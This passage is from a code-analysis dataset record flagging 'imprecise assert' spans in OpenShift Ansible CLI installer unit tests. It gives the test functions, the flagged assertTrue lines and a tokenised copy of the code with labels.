2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
openshift/openshift-ansible/utils/test/cli_installer_tests.py
[ { "content": " @patch('ooinstall.openshift_ansible.run_main_playbook')\n @patch('ooinstall.openshift_ansible.load_system_facts')\n def test_inventory_write(self, load_facts_mock, run_playbook_mock):\n\n # Add an ssh user so we can verify it makes it to the inventory file:\n merged_config = \"%s\\n%s\" % (SAMPLE_CONFIG % 'openshift-enterprise',\n \"ansible_ssh_user: bob\")\n load_facts_mock.return_value = (MOCK_FACTS, 0)\n run_playbook_mock.return_value = 0\n\n config_file = self.write_config(os.path.join(self.work_dir,\n 'ooinstall.conf'), merged_config)\n\n self.cli_args.extend([\"-c\", config_file, \"install\"])\n result = self.runner.invoke(cli.cli, self.cli_args)\n self.assert_result(result, 0)\n\n # Check the inventory file looks as we would expect:\n inventory = ConfigParser.ConfigParser(allow_no_value=True)\n inventory.read(os.path.join(self.work_dir, 'hosts'))\n self.assertEquals('bob',\n inventory.get('OSEv3:vars', 'ansible_ssh_user'))\n self.assertEquals('openshift-enterprise',\n inventory.get('OSEv3:vars', 'deployment_type'))\n\n # Check the masters:\n self.assertEquals(1, len(inventory.items('masters')))\n self.assertEquals(3, len(inventory.items('nodes')))\n\n for item in inventory.items('masters'):\n # ansible host lines do NOT parse nicely:\n master_line = item[0]\n if item[1] is not None:\n master_line = \"%s=%s\" % (master_line, item[1])\n self.assertTrue('openshift_ip' in master_line)\n self.assertTrue('openshift_public_ip' in master_line)\n self.assertTrue('openshift_hostname' in master_line)\n self.assertTrue('openshift_public_hostname' in master_line)", "metadata": "root.UnattendedCliTests.test_inventory_write", "header": "['class', 'UnattendedCliTests', '(', 'OOCliFixture', ')', ':', '___EOS___']", "index": 438 }, { "content": " @patch('ooinstall.openshift_ansible.run_main_playbook')\n @patch('ooinstall.openshift_ansible.load_system_facts')\n def test_bad_config(self, load_facts_mock, run_playbook_mock):\n load_facts_mock.return_value = (MOCK_FACTS, 0)\n run_playbook_mock.return_value = 0\n\n config_file = self.write_config(os.path.join(self.work_dir,\n 'ooinstall.conf'), BAD_CONFIG % 'openshift-enterprise')\n\n self.cli_args.extend([\"-c\", config_file, \"install\"])\n result = self.runner.invoke(cli.cli, self.cli_args)\n\n self.assertEquals(1, result.exit_code)\n self.assertTrue(\"You must specify either an ip or hostname\"\n in result.output)", "metadata": "root.UnattendedCliTests.test_bad_config", "header": "['class', 'UnattendedCliTests', '(', 'OOCliFixture', ')', ':', '___EOS___']", "index": 610 }, { "content": " @patch('ooinstall.openshift_ansible.run_main_playbook')\n @patch('ooinstall.openshift_ansible.load_system_facts')\n def test_quick_ha_only_2_masters(self, load_facts_mock, run_playbook_mock):\n load_facts_mock.return_value = (MOCK_FACTS_QUICKHA, 0)\n run_playbook_mock.return_value = 0\n\n config_file = self.write_config(os.path.join(self.work_dir,\n 'ooinstall.conf'), QUICKHA_2_MASTER_CONFIG % 'openshift-enterprise')\n\n self.cli_args.extend([\"-c\", config_file, \"install\"])\n result = self.runner.invoke(cli.cli, self.cli_args)\n\n # This is an invalid config:\n self.assert_result(result, 1)\n self.assertTrue(\"A minimum of 3 Masters are required\" in result.output)", "metadata": "root.UnattendedCliTests.test_quick_ha_only_2_masters", "header": "['class', 'UnattendedCliTests', '(', 'OOCliFixture', ')', ':', '___EOS___']", "index": 647 }, { "content": " @patch('ooinstall.openshift_ansible.run_main_playbook')\n @patch('ooinstall.openshift_ansible.load_system_facts')\n def test_quick_ha_no_lb(self, load_facts_mock, run_playbook_mock):\n load_facts_mock.return_value = (MOCK_FACTS_QUICKHA, 0)\n run_playbook_mock.return_value = 0\n\n config_file = self.write_config(os.path.join(self.work_dir,\n 'ooinstall.conf'), QUICKHA_CONFIG_NO_LB % 'openshift-enterprise')\n\n self.cli_args.extend([\"-c\", config_file, \"install\"])\n result = self.runner.invoke(cli.cli, self.cli_args)\n\n # This is not a valid input:\n self.assert_result(result, 1)\n self.assertTrue('No master load balancer specified in config' in result.output)", "metadata": "root.UnattendedCliTests.test_quick_ha_no_lb", "header": "['class', 'UnattendedCliTests', '(', 'OOCliFixture', ')', ':', '___EOS___']", "index": 664 }, { "content": " def assert_inventory_host_var_unset(self, inventory, section, host, variable):\n # Config parser splits on the first \"=\", so we end up with:\n # 'hostname key1' -> 'val1 key2=val2 key3=val3'\n #\n # Convert to something easier to test:\n for (a, b) in inventory.items(section):\n full_line = \"%s=%s\" % (a, b)\n tokens = full_line.split()\n if tokens[0] == host:\n self.assertFalse((\"%s=\" % variable) in full_line,\n msg='%s host variable was set: %s' %\n (variable, full_line))\n return\n self.fail(\"unable to find host %s in inventory\" % host)", "metadata": "root.AttendedCliTests.assert_inventory_host_var_unset", "header": "['class', 'AttendedCliTests', '(', 'OOCliFixture', ')', ':', '___EOS___']", "index": 940 }, { "content": " @patch('ooinstall.openshift_ansible.run_main_playbook')\n @patch('ooinstall.openshift_ansible.load_system_facts')\n def test_ha_hint(self, load_facts_mock, run_playbook_mock):\n load_facts_mock.return_value = (MOCK_FACTS, 0)\n run_playbook_mock.return_value = 0\n\n cli_input = build_input(hosts=[\n ('10.0.0.1', True, False)],\n ssh_user='root',\n variant_num=3,\n confirm_facts='y',\n storage='10.1.0.1',)\n self.cli_args.append(\"install\")\n result = self.runner.invoke(cli.cli, self.cli_args,\n input=cli_input)\n self.assert_result(result, 0)\n print result.output\n self.assertTrue(\"NOTE: Add a total of 3 or more Masters to perform an HA installation.\"\n not in result.output)", "metadata": "root.AttendedCliTests.test_ha_hint", "header": "['class', 'AttendedCliTests', '(', 'OOCliFixture', ')', ':', '___EOS___']", "index": 1008 } ]
[ { "span": "self.assertTrue('openshift_ip' in master_line)", "start_line": 472, "start_column": 12, "end_line": 472, "end_column": 58 }, { "span": "self.assertTrue('openshift_public_ip' in master_line)", "start_line": 473, "start_column": 12, "end_line": 473, "end_column": 65 }, { "span": "self.assertTrue('openshift_hostname' in master_line)", "start_line": 474, "start_column": 12, "end_line": 474, "end_column": 64 }, { "span": "self.assertTrue('openshift_public_hostname' in master_line)", "start_line": 475, "start_column": 12, "end_line": 475, "end_column": 71 }, { "span": "self.assertTrue(\"You must specify either an ip or hostname\"\n in result.output)", "start_line": 623, "start_column": 8, "end_line": 624, "end_column": 29 }, { "span": "self.assertTrue(\"A minimum of 3 Masters are required\" in result.output)", "start_line": 661, "start_column": 8, "end_line": 661, "end_column": 79 }, { "span": "self.assertTrue('No master load balancer specified in config' in result.output)", "start_line": 678, "start_column": 8, "end_line": 678, "end_column": 87 }, { "span": "self.assertFalse((\"%s=\" % variable) in full_line,\n msg='%s host variable was set: %s' %\n (variable, full_line))", "start_line": 949, "start_column": 16, "end_line": 951, "end_column": 55 }, { "span": "self.assertTrue(\"NOTE: Add a total of 3 or more Masters to perform an HA installation.\"\n not in result.output)", "start_line": 1025, "start_column": 8, "end_line": 1026, "end_column": 33 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Una", "tte", "nde", "d", "Cli", "Tests_", "(_", "OO", "Cli", "Fixture_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "patch_", "(_", "'", "oo", "install", ".", "opens", "hift", "\\u", "ansi", "ble", ".", "run", "\\u", "main", "\\u", "playbook", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "patch_", "(_", "'", "oo", "install", ".", "opens", "hift", "\\u", "ansi", "ble", ".", "load", "\\u", "system", "\\u", "fact", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "inventor", "y", "\\u", "write_", "(_", "self_", ",_", "load", "\\u", "fact", "s", "\\u", "mock_", ",_", "run", "\\u", "playbook", "\\u", "mock_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Add", " ", "an", " ", "ssh", " ", "user", " ", "so", " ", "we", " ", "can", " ", "verify", " ", "it", " ", "make", "s", " ", "it", " ", "to", " ", "the", " ", "inventor", "y", " ", "file", ":_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "merge", "d\\u", "config_", "=_", "\"%", "s", "\\\\", "n", "%", "s", "\"_", "%_", "(_", "SAMPLE", "\\u", "CONFIG_", "%_", "'", "opens", "hift", "-", "enterprise", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "ansi", "ble", "\\u", "ssh", "\\u", "user", ":", " ", "bob", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "load", "\\u", "fact", "s", "\\u", "mock_", "._", "return", "\\u", "value_", "=_", "(_", "MOC", "K", "\\u", "FACT", "S_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "run", "\\u", "playbook", "\\u", "mock_", "._", "return", "\\u", "value_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "config", "\\u", "file_", "=_", "self_", "._", "write", "\\u", "config_", "(_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "work", "\\u", "dir_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "oo", "install", ".", "conf", "'_", ")_", ",_", "merge", "d\\u", "config_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "cli", "\\u", "args_", "._", "extend_", "(_", "[_", "\"-", "c", "\"_", ",_", "config", "\\u", "file_", ",_", "\"", "install", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "self_", "._", "runner_", "._", "invoke_", "(_", "cli_", "._", "cli_", ",_", "self_", "._", "cli", "\\u", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "\\u", "result_", "(_", "result_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Check", " ", "the", " ", "inventor", "y", " ", "file", " ", "look", "s", " ", "as", " ", "we", " ", "wou", "ld", " ", "expect", ":_", "\\u\\u\\uNL\\u\\u\\u_", "inventory_", "=_", "Config", "Parser_", "._", "Config", "Parser_", "(_", "allow", "\\u", "no", "\\u", "value_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inventory_", "._", "read_", "(_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "work", "\\u", "dir_", ",_", "'", "host", "s", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "'", "bob", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "inventory_", "._", "get_", "(_", "'", "OSE", "v", "3", ":", "vars", "'_", ",_", "'", "ansi", "ble", "\\u", "ssh", "\\u", "user", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "'", "opens", "hift", "-", "enterprise", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "inventory_", "._", "get_", "(_", "'", "OSE", "v", "3", ":", "vars", "'_", ",_", "'", "deploy", "ment", "\\u", "type", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Check", " ", "the", " ", "master", "s", ":_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "1_", ",_", "len_", "(_", "inventory_", "._", "items_", "(_", "'", "master", "s", "'_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "3_", ",_", "len_", "(_", "inventory_", "._", "items_", "(_", "'", "nodes", "'_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "item_", "in_", "inventory_", "._", "items_", "(_", "'", "master", "s", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "ansi", "ble", " ", "host", " ", "lines", " ", "do", " ", "NOT", " ", "parse", " ", "nice", "ly", ":_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "master", "\\u", "line_", "=_", "item_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "item_", "[_", "1_", "]_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "master", "\\u", "line_", "=_", "\"%", "s", "=", "%", "s", "\"_", "%_", "(_", "master", "\\u", "line_", ",_", "item_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "opens", "hift", "\\u", "ip", "'_", "in_", "master", "\\u", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "opens", "hift", "\\u", "public", "\\u", "ip", "'_", "in_", "master", "\\u", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "opens", "hift", "\\u", "host", "name", "'_", "in_", "master", "\\u", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "opens", "hift", "\\u", "public", "\\u", "host", "name", "'_", "in_", "master", "\\u", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Una", "tte", "nde", "d", "Cli", "Tests_", "(_", "OO", "Cli", "Fixture_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "patch_", "(_", "'", "oo", "install", ".", "opens", "hift", "\\u", "ansi", "ble", ".", "run", "\\u", "main", "\\u", "playbook", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "patch_", "(_", "'", "oo", "install", ".", "opens", "hift", "\\u", "ansi", "ble", ".", "load", "\\u", "system", "\\u", "fact", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "bad", "\\u", "config_", "(_", "self_", ",_", "load", "\\u", "fact", "s", "\\u", "mock_", ",_", "run", "\\u", "playbook", "\\u", "mock_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "load", "\\u", "fact", "s", "\\u", "mock_", "._", "return", "\\u", "value_", "=_", "(_", "MOC", "K", "\\u", "FACT", "S_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "run", "\\u", "playbook", "\\u", "mock_", "._", "return", "\\u", "value_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "config", "\\u", "file_", "=_", "self_", "._", "write", "\\u", "config_", "(_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "work", "\\u", "dir_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "oo", "install", ".", "conf", "'_", ")_", ",_", "BAD", "\\u", "CONFIG_", "%_", "'", "opens", "hift", "-", "enterprise", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "cli", "\\u", "args_", "._", "extend_", "(_", "[_", "\"-", "c", "\"_", ",_", "config", "\\u", "file_", ",_", "\"", "install", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "self_", "._", "runner_", "._", "invoke_", "(_", "cli_", "._", "cli_", ",_", "self_", "._", "cli", "\\u", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "1_", ",_", "result_", "._", "exit", "\\u", "code_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "You", " ", "must", " ", "speci", "fy", " ", "eit", "her", " ", "an", " ", "ip", " ", "or", " ", "host", "name", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "in_", "result_", "._", "output_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Una", "tte", "nde", "d", "Cli", "Tests_", "(_", "OO", "Cli", "Fixture_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "patch_", "(_", "'", "oo", "install", ".", "opens", "hift", "\\u", "ansi", "ble", ".", "run", "\\u", "main", "\\u", "playbook", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "patch_", "(_", "'", "oo", "install", ".", "opens", "hift", "\\u", "ansi", "ble", ".", "load", "\\u", "system", "\\u", "fact", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "quick", "\\u", "ha", "\\u", "only", "\\u", "2", "\\u", "masters_", "(_", "self_", ",_", "load", "\\u", "fact", "s", "\\u", "mock_", ",_", "run", "\\u", "playbook", "\\u", "mock_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "load", "\\u", "fact", "s", "\\u", "mock_", "._", "return", "\\u", "value_", "=_", "(_", "MOC", "K", "\\u", "FACT", "S", "\\u", "QUI", "CK", "HA", "_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "run", "\\u", "playbook", "\\u", "mock_", "._", "return", "\\u", "value_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "config", "\\u", "file_", "=_", "self_", "._", "write", "\\u", "config_", "(_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "work", "\\u", "dir_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "oo", "install", ".", "conf", "'_", ")_", ",_", "QUI", "CK", "HA", "\\u", "2", "\\u", "MASTER", "\\u", "CONFIG_", "%_", "'", "opens", "hift", "-", "enterprise", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "cli", "\\u", "args_", "._", "extend_", "(_", "[_", "\"-", "c", "\"_", ",_", "config", "\\u", "file_", ",_", "\"", "install", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "self_", "._", "runner_", "._", "invoke_", "(_", "cli_", "._", "cli_", ",_", "self_", "._", "cli", "\\u", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "an", " ", "invalid", " ", "config", ":_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "\\u", "result_", "(_", "result_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "A", " ", "minim", "um", " ", "of", " ", "3", " ", "Master", "s", " ", "are", " ", "require", "d", "\"_", "in_", "result_", "._", "output_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Una", "tte", "nde", "d", "Cli", "Tests_", "(_", "OO", "Cli", "Fixture_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "patch_", "(_", "'", "oo", "install", ".", "opens", "hift", "\\u", "ansi", "ble", ".", "run", "\\u", "main", "\\u", "playbook", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "patch_", "(_", "'", "oo", "install", ".", "opens", "hift", "\\u", "ansi", "ble", ".", "load", "\\u", "system", "\\u", "fact", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "quick", "\\u", "ha", "\\u", "no", "\\u", "lb_", "(_", "self_", ",_", "load", "\\u", "fact", "s", "\\u", "mock_", ",_", "run", "\\u", "playbook", "\\u", "mock_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "load", "\\u", "fact", "s", "\\u", "mock_", "._", "return", "\\u", "value_", "=_", "(_", "MOC", "K", "\\u", "FACT", "S", "\\u", "QUI", "CK", "HA", "_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "run", "\\u", "playbook", "\\u", "mock_", "._", "return", "\\u", "value_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "config", "\\u", "file_", "=_", "self_", "._", "write", "\\u", "config_", "(_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "work", "\\u", "dir_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "oo", "install", ".", "conf", "'_", ")_", ",_", "QUI", "CK", "HA", "\\u", "CONFIG", "\\u", "NO", "\\u", "LB", "_", "%_", "'", "opens", "hift", "-", "enterprise", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "cli", "\\u", "args_", "._", "extend_", "(_", "[_", "\"-", "c", "\"_", ",_", "config", "\\u", "file_", ",_", "\"", "install", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "self_", "._", "runner_", "._", "invoke_", "(_", "cli_", "._", "cli_", ",_", "self_", "._", "cli", "\\u", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "not", " ", "a", " ", "valid", " ", "input", ":_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "\\u", "result_", "(_", "result_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "No", " ", "master", " ", "load", " ", "balancer", " ", "specified", " ", "in", " ", "config", "'_", "in_", "result_", "._", "output_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Attend", "ed", "Cli", "Tests_", "(_", "OO", "Cli", "Fixture_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "assert", "\\u", "inventor", "y", "\\u", "host", "\\u", "var", "\\u", "unset_", "(_", "self_", ",_", "inventory_", ",_", "section_", ",_", "host_", ",_", "variable_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Config", " ", "parser", " ", "split", "s", " ", "on", " ", "the", " ", "first", " ", "\"=", "\",", " ", "so", " ", "we", " ", "end", " ", "up", " ", "with", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "'", "host", "name", " ", "key", "1", "'", " ", "->", " ", "'", "val", "1", " ", "key", "2", "=", "val", "2", " ", "key", "3", "=", "val", "3", "'_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Convert", " ", "to", " ", "somet", "hing", " ", "easi", "er", " ", "to", " ", "test", ":_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "(_", "a_", ",_", "b_", ")_", "in_", "inventory_", "._", "items_", "(_", "section_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "full", "\\u", "line_", "=_", "\"%", "s", "=", "%", "s", "\"_", "%_", "(_", "a_", ",_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tokens_", "=_", "full", "\\u", "line_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "tokens_", "[_", "0_", "]_", "==_", "host_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "False_", "(_", "(_", "\"%", "s", "=\"_", "%_", "variable_", ")_", "in_", "full", "\\u", "line_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "msg_", "=_", "'%", "s", " ", "host", " ", "variab", "le", " ", "was", " ", "set", ":", " ", "%", "s", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "variable_", ",_", "full", "\\u", "line_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "fail_", "(_", "\"", "una", "ble", " ", "to", " ", "find", " ", "host", " ", "%", "s", " ", "in", " ", "inventor", "y", "\"_", "%_", "host_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Attend", "ed", "Cli", "Tests_", "(_", "OO", "Cli", "Fixture_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "patch_", "(_", "'", "oo", "install", ".", "opens", "hift", "\\u", "ansi", "ble", ".", "run", "\\u", "main", "\\u", "playbook", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "patch_", "(_", "'", "oo", "install", ".", "opens", "hift", "\\u", "ansi", "ble", ".", "load", "\\u", "system", "\\u", "fact", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "ha", "\\u", "hint_", "(_", "self_", ",_", "load", "\\u", "fact", "s", "\\u", "mock_", ",_", "run", "\\u", "playbook", "\\u", "mock_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "load", "\\u", "fact", "s", "\\u", "mock_", "._", "return", "\\u", "value_", "=_", "(_", "MOC", "K", "\\u", "FACT", "S_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "run", "\\u", "playbook", "\\u", "mock_", "._", "return", "\\u", "value_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cli", "\\u", "input_", "=_", "build", "\\u", "input_", "(_", "hosts_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "10.", "0.", "0.", "1", "'_", ",_", "True_", ",_", "False_", ")_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ssh", "\\u", "user_", "=_", "'", "root", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "variant", "\\u", "num_", "=_", "3_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "confirm", "\\u", "facts_", "=_", "'", "y", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "storage_", "=_", "'", "10.1", ".0", ".1", "'_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "cli", "\\u", "args_", "._", "append_", "(_", "\"", "install", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "self_", "._", "runner_", "._", "invoke_", "(_", "cli_", "._", "cli_", ",_", "self_", "._", "cli", "\\u", "args_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "input_", "=_", "cli", "\\u", "input_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "\\u", "result_", "(_", "result_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "result_", "._", "output_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "NOTE", ":", " ", "Add", " ", "a", " ", "total", " ", "of", " ", "3", " ", "or", " ", "more", " ", "Master", "s", " ", "to", " ", "perform", " ", "an", " ", "HA", " ", "installation", ".\"_", "\\u\\u\\uNL\\u\\u\\u_", "not_", "in_", "result_", "._", "output_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
